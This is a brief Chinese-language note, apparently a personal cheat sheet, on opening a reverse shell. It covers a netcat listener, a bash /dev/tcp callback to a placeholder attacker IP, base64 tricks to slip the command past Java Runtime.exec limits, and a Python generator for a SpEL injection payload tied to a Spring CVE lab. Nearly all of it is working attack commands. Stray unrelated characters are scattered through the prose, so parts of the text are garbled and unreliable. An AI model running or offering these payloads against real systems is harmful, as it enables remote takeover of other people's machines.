1. 在A機器打開偵聽端口
nc -l 9333
2.在B機器反彈shell
bash -i >& /dev/tcp/x.x.x.x/9333 0>&1
對于有些機器默認(rèn)的shell不是bash的話墓塌,則應(yīng)使用
bash -c "bash -i >& /dev/tcp/x.x.x.x/9333 0>&1"
其中,x.x.x.x請?zhí)鎿Q為A機器的ip
此時桃纯,查看A機器的shell已經(jīng)打開B機器的shell披坏,可以執(zhí)行相應(yīng)的shell操作
stonedeMacBook-Pro:~ stone$ nc -l 9333
root@6ed1367bab09:/usr/local/tomcat#
3.java反彈shell的限制與繞過方式
http://www.jackson-t.ca/runtime-exec-payloads.html
1)將命令base64編碼
echo 'bash -i >& /dev/tcp/127.0.0.1/9333 0>&1'|base64
2)得到在shell終端中可以執(zhí)行的反彈shell指令
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTMzMyAwPiYxCg==}|{base64,-d}|{bash,-i}
TODO:在(1)中編碼的部分已經(jīng)編碼了bash -i,為啥在(2)中還要再來一次呢,不求甚解
3)在java RCE中再封裝一層伞梯,得到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTMzMyAwPiYxCg==}|{base64,-d}|{bash,-i}
4)如果編碼格式過不了,可以進一步編碼
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2016-4977